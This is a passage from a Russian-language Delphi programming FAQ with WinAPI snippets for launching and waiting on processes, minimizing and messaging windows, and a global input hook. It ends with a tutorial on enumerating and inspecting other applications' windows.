  ProcessInfo: TProcessInformation;
  exitc: cardinal;
begin
  FillChar(StartupInfo, sizeof(StartupInfo), 0);
  with StartupInfo do begin
    cb := Sizeof(StartupInfo);
    dwFlags := STARTF_USESHOWWINDOW;
    wShowWindow := SW_SHOW;
  end;
  if not CreateProcess(nil, PChar(FileName), nil, nil, false,
    CREATE_NEW_CONSOLE or NORMAL_PRIORITY_CLASS, nil, nil,
    StartupInfo, ProcessInfo) then result := false
  else begin
    if HideApplication then begin
      Application.Minimize;
      ShowWindow(Application.Handle, SW_HIDE);
      WaitforSingleObject(ProcessInfo.hProcess, INFINITE);
    end else
      while WaitforSingleObject(ProcessInfo.hProcess, 100) =
        WAIT_TIMEOUT do begin
        Application.ProcessMessages;
        if Application.Terminated
          then TerminateProcess(ProcessInfo.hProcess, 0);
      end;
    GetExitCodeProcess(ProcessInfo.hProcess, exitc);
    result := (exitc = 0);
    if HideApplication then begin
      ShowWindow(Application.Handle, SW_SHOW);
      Application.Restore;
      Application.BringToFront;
    end;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
  procedure SetEnabled(en: boolean);
  var
    i: integer;
  begin
    for i := 0 to Form1.ComponentCount - 1 do
      if Form1.Components[i] is TControl then
        (Form1.Components[i] as TControl).Enabled := en;
  end;
begin
  SetEnabled(false);
  if not ExecuteAndWait(Edit1.Text, CheckBox1.Checked)
    then ShowMessage('Возникли какие-то проблемы');
  SetEnabled(true);
end;
---------------------------------------------


Запускаю с помощью CreateProcess процесс архивирования, как узнать, что он завершился, чтобы перекопировать файл на дискету?

Unit exec;

interface

Uses Windows, SysUtils, Forms, ShellAPI;

function ExecWin(Path,name,CommandLine,CurrentDir:string;Wait:boolean) : word;

implementation

function ExecWin(Path,name,CommandLine,CurrentDir:string;Wait:boolean) : word;
var
 tsi           : TStartupInfo;
 tpi           : TProcessInformation;
 tPath,Command : PChar;
 CurDir        :Pchar;
//  st1           :string;
//  T1,T2,T3,T4   :TFileTime;
//  rr            :boolean;
 cod           :DWord;

//  ErrorMessage: Pointer;
//  ErrorCode: DWORD;           // holds a system error code
begin
 Result := 30;
 Path:=path+name+' '+CommandLine+#00;
 CommandLine:=CommandLine+#0;
 tPath   := StrAlloc(512);
 Command := StrAlloc(512);
 CurDir  :=StrAlloc(512);

 FillChar(tsi, SizeOf(TStartupInfo), 0);
 tsi.cb := SizeOf(TStartupInfo);
 tsi.dwFlags := STARTF_USESHOWWINDOW;
 tsi.wShowWindow := SW_SHOWMINNOACTIVE;
//  FindExecutable(@Path[1],nil,tPath);
//  st1:=string(tPath)+#0;
//  st1:=AnsiUpperCase(st1);
//  Path:=AnsiUpperCase(Path);
//  if st1< > Path then st1:=Concat(st1,' ',path,#0);
//  Move(st1[1],tPath[0],Length(st1));
//  Move(CommandLine[1],Command[0],length(CommandLine));
 Move(Path[1],tPath[0],Length(Path));
 CurrentDir:=CurrentDir+#0;
 Move(CurrentDir[1],CurDir[0],length(CurrentDir));
 try
   if CreateProcess(nil,@tPath[0]{, @Command[0]},nil, nil, False,
   CREATE_NEW_CONSOLE or NORMAL_PRIORITY_CLASS,nil, @CurDir[0], tsi, tpi)
    then begin
      cod:=WAIT_TIMEOUT;
      while (cod=WAIT_TIMEOUT) and Wait do begin
        cod:=WaitForSingleObject(tpi.hProcess, 500);
        Application.ProcessMessages;
      end;
      result:=0;
{       rr:=GetProcessTimes(tpi.hProcess,t1,t2,t3,t4);
      while (t2.dwLowDateTime=0) and (t2.dwHighDateTime=0) and rr do begin
       Application.ProcessMessages;
       rr:=GetProcessTimes(tpi.hProcess,t1,t2,t3,t4);
      end;}
      CloseHandle(tpi.hProcess);
      CloseHandle(tpi.hThread);
    end
    else result:=GetLastError;
 finally
{  ErrorCode := GetLastError;
 FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER or FORMAT_MESSAGE_FROM_SYSTEM,
               nil, ErrorCode, 0, @ErrorMessage, 0, nil);
 LocalFree(hlocal(ErrorMessage));}
 StrDispose(Command);
 StrDispose(tPath);
 StrDispose(CurDir);
 end;
end;

end.
-----------------------------------------------------


procedure Start;
var
  si: TStartupInfo;
  p:  TProcessInformation;
begin
  FillChar(Si,SizeOf(Si),0);
  with Si do begin
    cb := SizeOf( Si);
    dwFlags := startf_UseShowWindow;
    wShowWindow := 4;
  end;
  Form1.WindowState:=wsMinimized;
  Createprocess(nil,'c:\windows\sndrec32.exe e:/temp.wav',nil,nil,false,
        Create_default_error_mode,nil,nil,si);
  Waitforsingleobject(p.hProcess,infinite);
  Form1.WindowState:=wsNormal;
end;
К заголовку




" Как заставить перерисоваться все окна
InvalidateRect(0, nil, true);
К заголовку




" Как минимизиpовать все запущеные окна
(* Hачало (MINIMIZE.DPR) *)

{$APPTYPE CONSOLE}
program Minimize;
uses Windows, Messages;
var
  Count: integer;

function EnumProc(WinHandle: HWnd; Param: LongInt): Boolean; stdcall;
begin

  if (GetParent(WinHandle) = 0) and (not IsIconic(WinHandle)) and
    (IsWindowVisible(WinHandle)) then
  begin
    PostMessage(WinHandle, WM_SYSCOMMAND, SC_MINIMIZE, 0);
    Inc(Count);
  end;
  EnumProc := TRUE;
end;

begin

  Count := 0;
  EnumWindows(@EnumProc, 0);
  Writeln('Minimized:', Count, ' windows');
end.

(* конец (MINIMIZE.DPR) *)
К заголовку




" Как перехватывать события, посланные другим приложениям
Для отслеживания каких-то событий во всей Windows нужно установить ловушку (hook). Например, такая ловушка может
отслеживать все события, связанные с мышью, где бы ни находился курсор. Можно отслеживать и события клавиатуры.

Для ловушки нужна функция, которая, после установки ловушки при помощи SetWindowsHookEx, будет вызываться при каждом
нужном событии. Эта функция получает всю информацию о событии. UnhookWindowsHookEx уничтожает ловушку.

Эта программа отслеживает все сообщения, связанные с мышью и клавиатурой. CheckBox1 показывает состояние левой клавиши
мыши, CheckBox2 показывает состояние правой клавиши мыши, а CheckBox3 показывает, нажата ли какая-либо клавиша на клавиатуре.

var
  HookHandle: hHook;

function HookProc(Code: integer; WParam: word; LParam: Longint): Longint; stdcall;
var
  msg: PEVENTMSG;
begin
  if Code >= 0 then begin
    result := 0;
    msg := Pointer(LParam);
    with Form1 do
      case msg.message of
        WM_MOUSEMOVE: Caption := IntToStr(msg.ParamL) + #32 + IntToStr(msg.ParamH);
        WM_LBUTTONDOWN: CheckBox1.Checked := true;
        WM_LBUTTONUP: CheckBox1.Checked := false;
        WM_RBUTTONDOWN: CheckBox2.Checked := true;
        WM_RBUTTONUP: CheckBox2.Checked := false;
        WM_KEYUP: CheckBox3.Checked := false;
        WM_KEYDOWN: CheckBox3.Checked := true;
      end;
  end else
    result := CallNextHookEx(HookHandle, code, WParam, LParam);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  Form1.FormStyle := fsStayOnTop;
  CheckBox1.Enabled := false;
  CheckBox1.Caption := 'left button';
  CheckBox2.Enabled := false;
  CheckBox2.Caption := 'right button';
  CheckBox3.Enabled := false;
  CheckBox3.Caption := 'keyboard';
  HookHandle := SetWindowsHookEx(WH_JOURNALRECORD, @HookProc, HInstance, 0);
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
  if HookHandle <> 0 then
    UnhookWindowsHookEx(HookHandle);
end;

К заголовку




" Как пользоваться командой шела - MinimizeAll
Для этого надо импортировать Microsoft Shell Controls & Automation Type Library:

   1. В меню Project..Import Type Library
   2. Выберите Microsoft Shell Controls & Automation (version 1.0).
   3. Нажмите Install...

На панели компонентов, в закладке ActiveX появится несколько компонентов. Перетащите на форму компонент TShell.
После этого, например, можно всё минимизировать:

Shell1.MinimizeAll;

Так же в этом компоненте присутствует давольно много забавных примочек:

procedure TForm1.Shell(sMethod: Integer);
begin
  case sMethod of
    0:
      //Минимизируем все окна на рабочем столе
      begin
        Shell1.MinimizeAll;
        Button1.Tag := Button1.Tag + 1;
      end;
    1:
      //Показываем диалоговое окошко Run
      begin
        Shell1.FileRun;
        Button1.Tag := Button1.Tag + 1;
      end;
    2:
      //Показываем окошко завершения работы Windows
      begin
        Shell1.ShutdownWindows;
        Button1.Tag := Button1.Tag + 1;
      end;
    3:
      //Показываем окно поиска файлов
      begin
        Shell1.FindFiles;
        Button1.Tag := Button1.Tag + 1;
      end;
    4:
      //Отображаем окно настройки времени и даты
      begin
        Shell1.SetTime;
        Button1.Tag := Button1.Tag + 1;
      end;
    5:
      //Показываем диалоговое окошко настройки интернета (Internet Properties)
      begin
        Shell1.ControlPanelItem('INETCPL.cpl');
        Button1.Tag := Button1.Tag + 1;
      end;
    6:
      //Предлагаем пользователю выбрать директорию из Program Files
      begin
        Shell1.BrowseForFolder(0, 'My Programs', 0, 'C:\Program Files');
        Button1.Tag := Button1.Tag + 1;
      end;
    7:
      //Показываем диалоговое окошко настройки панели задач
      begin
        Shell1.TrayProperties;
        Button1.Tag := Button1.Tag + 1;
      end;
    8:
      //Восстанавливаем все окна на рабочем столе
      begin
        Shell1.UndoMinimizeAll;
        Button1.Tag := 0;
      end;
  end; {case}
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  Shell(Button1.Tag);
end;

К заголовку




" Как послать некое сообщение всем формам
var
  I: Integer;
  M: TMessage;
...

with M do
begin

  Message := ...
  ...
end;

for I := 0 to Pred(Screen.FormCount) do
begin
  PostMessage(Forms[I].Handle, ...);
  // Если надо и всем чилдам
  Forms[I].Broadcast(M);
end;
К заголовку




" Как правильно завершить некое приложение
Если не принудительно, то можно послать на его Instance сообщение WM_QUIT. Если же необходимо принудительно
терминировать приложение, то смотрите ниже - под Windows NT процесс можно терминировать через специально предназначенный
для этого хэндл. Иначе гарантии нет. Предположим, что процесс создаем мы, ожидая его завершения в течение maxworktime.
Тогда -

var
  dwResult: Longint; // This example was converted from C source.
begin
  // Not tested. Some 'nil' assignments must be applied
  // as zero assignments in Pascal. Some vars need to
  // be declared (maxworktime, si, pi). AA.
  if CreateProcess(nil, CmdStr, nil, nil, FALSE,
    CREATE_NEW_CONSOLE, nil, nil, si, pi) then
  begin
    CloseHandle(pi.hThread);
    dwResult := WaitForSingleObject(pi.hProcess, maxworktime * 1000 * 60);
    CloseHandle(pi.hProcess);
    if dwResult <> WAIT_OBJECT_0 then
    begin
      pi.hProcess := OpenProcess(PROCESS_TERMINATE, FALSE, pi.dwProcessId);
      if pi.hProcess <> nil then
      begin
        TerminateProcess(pi.hProcess, 0);
        CloseHandle(pi.hProcess);
      end;
    end;
  end;
end;
----------------------------------------------------


var
  Form1: TForm1;

  // Глобальные переменные:

  StartupInfo: TStartupInfo;
  ProcessInfo: TProcessInformation;
  StartEn: Boolean = False;

implementation

{$R *.DFM}

// Запуск процесса

procedure TForm1.StartButtonClick(Sender: TObject);
var
  CmdStr: PChar; // Командная строка для запуска приложения
begin
  CmdStr := PChar(FilenameEdit1.FileName); // Определение командной строки

  StartEn := False; // Запущено ли приложение

  // Без этого приложение не стартует =<
  FillChar(StartupInfo, Sizeof(StartupInfo), #0);
  StartupInfo.cb := Sizeof(StartupInfo);

  StartupInfo.dwFlags := STARTF_USESHOWWINDOW;
  StartupInfo.wShowWindow := SW_NORMAL; // Состояние окна запущенного приложения
  // <= Без этого приложение не стартует

  // Запускаем процесс
  StartEn := CreateProcess(nil,
    CmdStr, { указатель командной строки }
    nil, { указатель на процесс атрибутов безопасности }
    nil, { указатель на поток атрибутов безопасности }
    False, { флаг родительского обработчика }
    CREATE_NEW_CONSOLE or { флаг создания }
    NORMAL_PRIORITY_CLASS,
    nil, { указатель на новую среду процесса }
    nil, { указатель на имя текущей директории }
    StartupInfo, { указатель на STARTUPINFO }
    ProcessInfo); { указатель на PROCESS_INF }

  EndButton.Enabled := StartEn;
end;

// Терминация процесса

procedure TForm1.EndButtonClick(Sender: TObject);
begin
  if StartEn then
  begin
    ProcessInfo.hProcess := OpenProcess(PROCESS_TERMINATE, False,
      ProcessInfo.dwProcessId);
    if ProcessInfo.hProcess <> Null then
    begin
      TerminateProcess(ProcessInfo.hProcess, 0);
      CloseHandle(ProcessInfo.hThread);
      CloseHandle(ProcessInfo.hProcess);
    end;
  end;
  StartEn := False;
  EndButton.Enabled := StartEn;
end;
К заголовку




" Как прикрепить свою форму к другому приложению
Для этого Вам понадобится переопределить процедуру CreateParams у желаемой формы. А в ней установить params.WndParent
в дескриптор окна, к которому Вы хотите прикрепить форму.

... = class(TForm)
  ...
  protected
    procedure CreateParams(var params: TCreateParams); override;
  ...

procedure TForm2.Createparams(var params: TCreateParams);
var
  aHWnd: HWND;
begin
  inherited;
  {как-нибудь получаем существующий дескриптор}
  ahWnd := GetForegroundWindow;
  {а теперь:}
  params.WndParent := ahWnd;
end;

К заголовку




" Как разрешить или запретить переключение между задачами
(только для ALT+TAB и CTRL+ESC)

Это не совсем профессиональный способ, но он работает! Мы просто эмулируем запуск и остановку скринсейвера.

procedure TaskSwitchingStatus(State: Boolean);
var
  OldSysParam: LongInt;
begin
  SystemParametersInfo(SPI_SCREENSAVERRUNNING,
    Word(State), @OldSysParam, 0);
end;
К заголовку




" Как сообщить всем формам (и невидимым) об изменении глобальных значений
Один из способов - создать пользовательское сообщение и использовать метод preform чтобы разослать его всем формам
из массива Screen.Forms.

{ Code for Unit1 }
const
  UM_MyGlobalMessage = WM_USER + 1;

type
  TForm1 = class(TForm)
    Label1: TLabel;
    Button1: TButton;
    procedure FormShow(Sender: TObject);
    procedure Button1Click(Sender: TObject);
  private
    {Private declarations}
    procedure UMMyGlobalMessage(var AMessage: TMessage);
    message UM_MyGlobalMessage;
  public
    {Public declarations}
  end;

var
  Form1: TForm1;

implementation
{$R *.DFM}

uses Unit2;

procedure TForm1.FormShow(Sender: TObject);
begin
  Form2.Show;
end;

procedure TForm1.UMMyGlobalMessage(var AMessage: TMessage);
begin
  Label1.Left := AMessage.WParam;
  Label1.Top := AMessage.LParam;
  Form1.Caption := 'Got It!';
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  f: integer;
begin
  for f := 0 to Screen.FormCount - 1 do
    Screen.Forms[f].Perform(UM_MyGlobalMessage, 42, 42);
end;



{ Code for Unit2 }
const
  UM_MyGlobalMessage = WM_USER + 1;

type
  TForm2 = class(TForm)
    Label1: TLabel;
  private
    {Private declarations}
    procedure UMMyGlobalMessage(var AMessage: TMessage);
    message UM_MyGlobalMessage;
  public
    {Public declarations}
  end;

var
  Form2: TForm2;

implementation
{$R *.DFM}

procedure TForm2.UMMyGlobalMessage(var AMessage: TMessage);
begin
  Label1.Left := AMessage.WParam;
  Label1.Top := AMessage.LParam;
  Form2.Caption := 'Got It!';
end;


К заголовку




" Как сообщить какую-то глобальную переменную всем окнам программы (даже скрытым)
Решением для такой задачи является рассылка пользовательского сообщения всем окнам массива Screen.Forms

{Code for Unit1}

const
  UM_MyGlobalMessage = WM_USER + 1;

type
  TForm1 = class(TForm)
    Label1: TLabel;
    Button1: TButton;
    procedure FormShow(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    { Private declarations }
  private
    procedure UMMyGlobalMessage(var AMessage: TMessage); message
      UM_MyGlobalMessage;
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

uses Unit2;

procedure TForm1.FormShow(Sender: TObject);
begin
  Form2.Show;
end;

procedure TForm1.UMMyGlobalMessage(var AMessage: TMessage);
begin
  Label1.Left := AMessage.WParam;
  Label1.Top := AMessage.LParam;
  Form1.Caption := 'Got It!';
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  f: integer;
begin
  for f := 0 to Screen.FormCount - 1 do
    Screen.Forms[f].Perform(UM_MyGlobalMessage, 42, 42);
end;

{Code for Unit2}

const
  UM_MyGlobalMessage = WM_USER + 1;

type
  TForm2 = class(TForm)
    Label1: TLabel;
  private
    { Private declarations }
    procedure UMMyGlobalMessage(var AMessage: TMessage); message
      UM_MyGlobalMessage;
  public
    { Public declarations }
  end;

var
  Form2: TForm2;

implementation

{$R *.DFM}

procedure TForm2.UMMyGlobalMessage(var AMessage: TMessage);
begin
  Label1.Left := AMessage.WParam;
  Label1.Top := AMessage.LParam;
  Form2.Caption := 'Got It!';
end;

К заголовку




" Классы главных форм популярных программ
Every window is a member of a window class. When you use API functions suchs as FindWindow, ShowWindow,..., you need
the classname as parameter to specify the window class name.
Below are some class names of common applications that are included in Windows.

Class Name Application

Omain ACCESS.EXE
SciCalc CALC.EXE
CalWndMain CALENDAR.EXE
Cardfile CARDFILE.EXE
Clipboard CLIPBOARD.EXE
Clock CLOCK.EXE
CtlPanelClass CONTROL.EXE
XLMain EXCEL.EXE
Session MS-DOS.EXE
Notepad NOTEPAD.EXE
pbParent PBRUSH.EXE
Pif PIFEDIT.EXE
PrintManager PRINTMAN.EXE
Progman PROGMAN.EXE (Windows Program Manager)
Recorder RECORDER.EXE
Reversi REVERSI.EXE
#2 SETUP.EXE
Solitaire SOL.EXE
Terminal TERMINAL.EXE
WFS_Frame WINFILE.EXE
MW_WINHELP WINHELP.EXE
#2 WINVER.EXE
OpusApp WINWORD.EXE
MSWRITE_MENU WRITE.EXE

Below are some class names of applications that are new with Windows 95:

Class Name Application
-------------------------- --------------------------
CabinetWClass My Computer Window
Internet Explorer_Frame IEXPLORE.EXE
MSPaintApp MSPAINT.EXE
SageWindowClass System Agent Com Window
Shell_Traywnd Windows 95 Task Bar
WordPadClass WORDPAD.EXE
DialerClass DIALER.EXE
SJE_CDPlayerClass CDPLAYER.EXE
MyDlgClass CHARMAP.EXE
MSDefragWClass1 DEFRAG.EXE
GFVMainWndClass FAXVIEW.EXE
FreeWClass FREECELL.EXE
Mplayer MPLAYER.EXE
AfxFrameorView HEARTS.EXE
NW_Class NETWATCH.EXE
AppClass PACKAGER.EXE
System Policy Editor POLEDIT.EXE
PWLEdit PWLEDIT.EXE
RegEdit_RegEdit REGEDIT.EXE
ScanDskWDlgClass SCANDSK.EXE
SoundRec SNDREC32.EXE
Volume Control SNDVOL32.EXE
System Monitor SYSMON.EXE
MSTaskSwWClass TASKMAN.EXE
TelnetWClass TELNET.EXE
WinIPCfgClass WINIPCFG.EXE
WordPadClass WORDPAD.EXE
Session_Window HYPERTRM.EXE
К заголовку




" Код нажатия кнопки и установки или снятия метки CheckBox в другом приложении
// Для приложений написанных на Delphi - TCheckBox, TButton, TBitBtn,
// для других языков - CheckBox, Button, BitBtn.

// Нажатие на кнопку:

procedure TForm1.Button1Click(Sender: TObject);
var
  h1, h2: hwnd;
begin
  h1 := FindWindow('tform2', nil);
  h2 := FindWindowEx(h1, 0, 'TBitBtn', '&No');
  SendMessage(h2, BM_CLICK, 0, 0);
end;

// Установка или снятие флажка:

procedure TForm1.Button2Click(Sender: TObject);
var
  h1, h2: hwnd;
begin
  h1 := FindWindow('tform2', nil);
  h2 := FindWindowEx(h1, 0, 'TCheckBox', 'Флажок');
  SendMessage(h2, BM_SetCheck, 1, 0);
end;
К заголовку




" Мечты вуайериста - чужие окна
Для чего это?

Нет, конечно, никакого отношения это статья к привычным извращениям не имеет, просто рассказывает, как можно
подглядывать в чужие окна.

Судя по тому шквалу вопросов, которыми завалены форумы, вопрос изучения чужих окон интересует многих. Каюсь, здесь
я оказался в большинстве. Движимый любопытством я попытался разобраться в том, как же все-таки заглянуть в чужое
окно. И написал некую прогр аммку, которая все это умеет делать. Ну, почти все. Попутно пришлось найти ответы на
многие вопросы, которые, как мне кажется, интересуют не только меня. Программа написана на Delphi 3 для Windows 98.
И, возможно, в более поздних версиях Delphi появились дополнительные возможности.

Чтобы не засорять место бесконечными объяснениями интерфейсной части полный исходный текст программы приводить не
буду, постараюсь изложить по пунктам, как она работает. Тест будет избыточным с большим количеством ненужных примеров,
например, нахождение в ерхних окон приводиться в двух вариантах, оба рабочие, но один из которых работает с
определенными трудностями. Зачем это делается??? Просто программа писалась для определенных задач, кои могут не совпадать
с Вашими. Основная цель объяснить, как работать с чужими окнами при помощи функциями API, а какие примеры и для чего
применять решать Вам.

Для кого это?

Для всех, кто хочет научиться работать с WINAPI. Для тех, кто программирует в Delphi, хотя почти все сказанное тут
может быть использовано и в других языках, тем и хороши функции API.

По мере использования приводятся краткие описания функций API.

Эта публикация подразумевает достаточно низкий уровень знания Дельфи и АПИ, но какие-то базовые знания все-таки
необходимы. С другой стороны, никакой Америки здесь не открывается, просто приводятся примеры работы с чужими окнами.

Для подключения функций API необходимо включить в описание используемых модулей Uses ShellAPI;

Как получить список всех окон запущенных в системе.

Первое что нас интересует так это получение списка окон, запущенных в системе. Прошу не путать с процессами, это
совсем другая песня. Коротко говоря, у одного процесса может быть несколько окон, но бывают процессы, у которых
кон вообще нет, тогда как люб ое окно должно принадлежать какому-либо процессу. Но здесь и сейчас мы говорим
только об окнах.

Попробуем найти так называемые окна верхнего уровня, или, попросту говоря главные окна приложений. Найти окно в
системе - означает получить его описатель (дескриптор). По этому описателю окно идентифицируется единственным
возможным способом.

Идентификатор окна, он же дескриптор он же описатель окна это просто число, зная которое можно получить доступ к
каждому конкретному окну в системе.

Для нахождения окон запущенных в системе существует целый ряд функций WinAPI (в дальнейшем просто API).

Функция FindWindow

Синтаксис:

function FindWindow(ClassName, WindowName: PChar): HWnd;


Описание:

Находит родительское окно верхнего уровня с совпадающими ClassName и WindowName. Не осуществляет поиск дочерних окон.

Параметры:
ClassName: Имя класса окна (заканчивающееся пустым символом, 0 - если все классы).
WindowName: Текстовый заголовок окна или 0, если все окна.
Возвращаемое значение: Описатель окна; 0 - если такого окна нет.

Итак, функция FindWindow находит все окна верхнего уровня по названию класса и заголовку окна.

Если Ваша задача определить запущено ли определенное окно (с известными именем класса и заголовком) в настоящий
момент, можно использовать

Procedure  WindowPresent(ClassName,WindowName:PChar): Boolean;
Begin
  Result := FindWindow(ClassName,WindowName)<>0;
End;


Но, зачастую требуется определить все окна, или окна, для которых не известен класс и/или заголовок. Для решения
нашей задачи, также можно использовать функцию FindWindow

Но посмотрим, что еще у нас есть из функций работы с окнами.

Функция GetNextWindow

Синтаксис:

function GetNextWindow(Wnd: HWnd; Flag: Word): Hwnd;


Описание: Считывает из Wnd следующее или предыдущее окно. В случае окна верхнего уровня ищется следующее окно
верхнего уровня, а в случае дочернего окна ищется следующее дочернее окно.

параметры:

Wnd: идентификатор окна.
Flag: Одна из констант
gw_HWndNext - искать следующее окно
gw_HwndPrev - искать предыдущее окно.
возвращаемое значение: Идентификатор окна.

Функция GetNextWindow находит все окна текущего уровня (если задано окно верхнего уровня, - то ищет окно верхнего
уровня, если дочернее окно - то список дочерних)

Осталось определить, как найти исходный описатель окна, от которого будем плясать (параметр WND функции)

Можно попробовать начать поиски с верхнего окна системы. Его можно определить при помощи следующей функции API:

Функция: GetForegroundWindow

Синтаксис:


function GetForeGroundWindow: Hwnd;


Описание: Показывает верхнее окно системы.

Параметры: нет.

Возвращаемое значение: Идентификатор окна.

А можно при помощи все той же функции FindWindow и все-таки для определения окон верхнего уровня, на мой взгляд,
предпочтительней использовать функцию FindWindow.

Давайте попробуем описать первый вариант функции, которая составляет список всех окон верхнего уровня системы,
пусть у нас есть на форме некий ListBox1:TlistBox, будем помещать в него найденные окна. И процедура поиска окон
будет выглядеть тогда следующим образом:

procedure Tform1.GetAllWindow;
Var
    Wd : HWnd;
begin
    ListBox1.Items.Clear;         // Очистим список перед началом поисков
    Wd:=FindWindow(0,0);          // Найдем первое окно верхнего уровня любого класса
    While (Wd<>0) do              // Если такое окно существует
    Begin
        ListBox1.Items.Add(IntToStr(Wd));    // Добавим описатель в виде текста в список
        Application.ProcessMessages;         // Дадим возможность поработать другим
        Wd:=GetNextWindow(Wd,GW_HWNDNEXT);   // Найдем следующее окно в системе.
    End;
end;


Работает??? Работает, но как-то не совсем так, как хотелось, ряд окон не отображается (например, системные окна,
такие как System Tray), возможно некое зацикливание программы в некоторых случаях.

Просто потому, что для этих целей существует совсем другой способ.

Функция EnumWindows

Синтаксис:

function EnumWindows(EnumFunc: TFarProc, lParam: Longint): Bool;


Описание: Пеpечисляет все pодительские окна на экpане, пеpедавая функции обpатного вызова ( т.е объявленная как stdcall
функция) описатель окна и lParam. Пеpечисление заканчивается, если функция обpатного вызова возвpащает нуль или если
пеpечислены все ок на.

Параметры: EnumFunc: Адpес экземпляpа пpоцедуpы функции обpатного вызова.
lParam: Значение, пеpеданное функции обpатного вызова.
Возвращаемое значение: Не нуль, если пеpечислены все окна; 0 - в пpотивном случае.

Вот эта функция прям-таки и просится, чтобы перечислить все окна в системе.

Для этого нам потребуется вспомогательная функция (хотя конечно она то и будет основной)

И так:

function EnumProc (Wd: HWnd; Param: LongInt): Boolean; stdcall; // Обязательно stdcall !!!
Begin
    ListBox1.Items.Add(IntToStr(Wd));        // Добавляем текущий описатель окна
    EnumProc := TRUE;
end;

Procedure TForm1.GetAllWindow;
Begin
    ListBox1.Items.Clear;         // Очистим список перед началом поисков
    EnumWindows (@EnumProc, 0); // и скажем - искать
End;


И получается проще. В дальнейшем все изменения будут идти относительно текста 2, хотя все это будет справедливо
и для текста 1.

Как получить общую информацию об окнах верхнего уровня.

Итак, мы научились получать список описателей для всех окон в системе.

Но почему-то это не особенно радует. Действительно взирать на список чисел, которые представляют собой
описатели окон грустно. И вообще интересует совсем другая информация об окнах, нежли просто список описателей.

Давайте разбираться, что же можно вытащить из окна верхнего уровня. Для начала получим информацию о классе окна и
заголовке окна:

Функция GetClassName

Синтаксис:

function GetClassName(Wnd: HWnd; ClassName: PChar;
  MaxCount: Integer): Integer;


Описание: Считывает имя класса окна.

Параметры:

Wnd: Идентификатор окна.
ClassName: Буфеp для пpиема имени класса.
MaxCount: Размеp буфеpа
Возвращаемое значение: Фактическое число скопиpованных символов; 0 - если ошибка.

Функция GetWindowText

Синтаксис:

function GetWindowText(Wnd: HWnd; Str: PChar;
  MaxCount: Integer): Integer;


Описание: Копиpует в Str заголовок окна или текст оpгана упpавления.

Параметры:

Wnd: Идентификатор окна или оpгана упpавления.
Str: Буфеp, пpинимающий стpоку.
MaxCount: Размеp буфеpа Str.
Возвращаемое значение: Фактическое число скопиpованных байт или 0, если текст отсутствует.

Описатели окна мы уже имеем, так что самое время получить имя класса и заголовок. Изменим полученную функцию
EnumProc следующим образом:

function EnumProc (Wd: HWnd; Param: LongInt): Boolean; stdcall; // Обязательно stdcall !!!
Var
    Nm:Array[0..255] of Char;  // буфер для имени
    Cs: Array[0..255] of Char; // буфер для класса
Begin
    GetWindowText(Wd,Nm,255); // считываем  текст заголовка окна
    GetClassName(Wd,Cs,255); // считываем название класса окна
    ListBox1.Items.Add(String(Nm)+'/'+String(Cs)); // Добавляем название окна и класс в список
    EnumProc := TRUE;  // продолжать искать окна…
end;


Конечно, красоты ради, стоило бы сначала определить необходимый размер буфера, но в подавляющем большинстве
случаев вполне хватает 255 символов. Для желающих поразвлечься самостоятельно предлагаю определить размер
заголовка помощи следующих функции:

Функция GetWindowTextLength

Синтаксис:

function GetWindowTextLength(Wnd: HWnd): Integer;


Описание: Считывает длину заголовка окна или текста оpгана упpавления.

Параметры:

Wnd: Идентификатор окна.
Возвращаемое значение: Длина заголовка окна в символах.

Вот теперь мы видим какие окна верхнего уровня у нас загружены в системе, и даже можем понемногу разбираться
какие окна к чему относятся. Но появляются разные странности.

Во-первых количество окон в системе оказывается больше чем то, что мы видим.

Во-вторых появляются окна вообще с непонятными классами и/или названиями или вообще без них.

Спешу Вас успокоить, список содержит ВСЕ окна которые есть в системе, включая скрытые, системные (например
ProgMan не что иное как рабочий стол). В том числе и Вашу программу. Встает вопрос, как бы убрать собственную
программу из списка ? Для этого коротенько намекну, что описатель, который мы так долго и муторно получали, на
самом деле, совпадает с Handle, который есть у любой формы. Чтобы исключить свою программу из списка достаточно
просто поставить проверку В тексте 3:

If Wd<>Form1.Handle then
  ListBox1.Items.Add(String(Nm)+'/'+String(Cs));


Для пущей красоты можно сделать переключатель, который отвечает за то, будет ли в список добавляться Ваша программа.
Если у Вас не одно окно, а несколько, то нужно проверять все окна.

Что из общих параметров можно узнать еще об окне ??? Ну например можно узнать состояние окна, то есть :

Функция IsIconic

Синтаксис:

function IsIconic(Wnd: HWnd): Bool;


Описание: Опpеделяет, является ли окно пиктогpаммой (минимизиpованным).

Параметры:

Wnd: Идентификатор окна.
Возвращаемое значение: Не нуль, если минимизиpовано; 0 - если нет.

Функция IsWindow

Синтаксис:

function IsWindow(Wnd: HWnd): Bool;


Описание: Опpеделяет, является ли окно допустимым существующим окном.

Параметры:

Wnd: Идентификатор окна.
Возвращаемое значение: Не нуль, если окно достовеpно; 0 - если нет.

Функция IsWindowEnabled

Синтаксис:

function IsWindowEnabled(Wnd: HWnd): Bool;


Описание: Опpеделяет, является ли окно pазpешенным для ввода с мыши и с клавиатуpы.

Параметры:

Wnd: Идентификатор окна.
Возвращаемое значение: Не нуль, если окно pазpешено; 0 - если нет.

Функция IsWindowVisible

Синтаксис:

function IsWindowVisible(Wnd: HWnd): Bool;


Описание: Опpеделяет, сделано ли окно видимым функцией ShowWindow.

Параметры: Wnd: Идентификатор окна.

Возвращаемое значение: Не нуль, если окно существует на экpане (даже если полностью закpыто); 0 - если нет.

Функция IsZoomed

Синтаксис:

function IsZoomed(Wnd: HWnd): Bool;


Описание: Опpеделяет, является ли окно максимизиpованным.

Параметры: Wnd: Идентификатор окна.

Возвращаемое значение: Не нуль, если окно максимизиpовано; 0 - если нет.

Простой пример использования этих функций:

function EnumProc (Wd: HWnd; Param: LongInt): Boolean; stdcall; // Обязательно stdcall !!!
Var
    Nm:Array[0..255] of Char;  // буфер для имени
    Cs: Array[0..255] of Char; // буфер для класса
    Ch:Char;                             //символ обозначающий, что окно минимизиравано
Begin
    GetWindowText(Wd,Nm,255); // считываем  текст заголовка окна
    GetClassName(Wd,Cs,255); // считываем название класса окна
    If IsIconic(Wd) then Ch:='+'
    Else Ch:='-';
